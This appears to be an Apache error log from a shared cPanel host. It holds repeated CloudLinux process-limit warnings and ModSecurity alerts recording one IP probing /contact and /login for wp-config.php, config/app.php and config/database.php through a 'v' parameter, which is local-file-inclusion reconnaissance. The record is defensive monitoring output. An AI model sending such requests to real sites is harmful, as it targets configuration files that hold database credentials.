[Fri Jul 17 08:55:45.105407 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguQRRrtuZqNDDSqWwNgAAABo"]
[Fri Jul 17 08:55:45.105620 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.105862 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguQRRrtuZqNDDSqWwNgAAABo"]
[Fri Jul 17 08:55:45.125346 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.127874 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.132446 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.141940 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.159154 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.178091 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.183188 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.188080 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.195983 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.212799 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.235833 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.241980 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.248829 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.259032 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.276810 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: 5icgl/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguRJ0z2bEtnOrIXVAYQAAAAk"]
[Fri Jul 17 08:55:45.277491 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguRJ0z2bEtnOrIXVAYQAAAAk"]
[Fri Jul 17 08:55:45.277681 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.277895 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRJ0z2bEtnOrIXVAYQAAAAk"]
[Fri Jul 17 08:55:45.312220 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: 3y289/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguRAi3pC6yjXGNq2AnAAAAAU"]
[Fri Jul 17 08:55:45.313075 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguRAi3pC6yjXGNq2AnAAAAAU"]
[Fri Jul 17 08:55:45.313289 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.313511 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRAi3pC6yjXGNq2AnAAAAAU"]
[Fri Jul 17 08:55:45.317675 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguVh1WDijTxd1xw5MZAAAAAc"]
[Fri Jul 17 08:55:45.318312 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguVh1WDijTxd1xw5MZAAAAAc"]
[Fri Jul 17 08:55:45.318459 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.318600 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguVh1WDijTxd1xw5MZAAAAAc"]
[Fri Jul 17 08:55:45.320490 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguV1_86A5R6msWNfUhAAAABI"]
[Fri Jul 17 08:55:45.321369 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguV1_86A5R6msWNfUhAAAABI"]
[Fri Jul 17 08:55:45.321561 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.321768 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguV1_86A5R6msWNfUhAAAABI"]
[Fri Jul 17 08:55:45.322402 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: 8ul85/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguY1dLClkUfK_dfHk6QAAAAI"]
[Fri Jul 17 08:55:45.322981 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguY1dLClkUfK_dfHk6QAAAAI"]
[Fri Jul 17 08:55:45.323169 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.323339 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguY1dLClkUfK_dfHk6QAAAAI"]
[Fri Jul 17 08:55:45.344262 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguTsMb3am0TgkjETa3gAAAAo"]
[Fri Jul 17 08:55:45.344878 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/contact"] [unique_id "almguTsMb3am0TgkjETa3gAAAAo"]
[Fri Jul 17 08:55:45.345008 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.345201 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguTsMb3am0TgkjETa3gAAAAo"]
[Fri Jul 17 08:55:45.371067 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.384580 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.392197 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.392329 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.453968 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.453968 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.457288 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.512297 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.515170 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
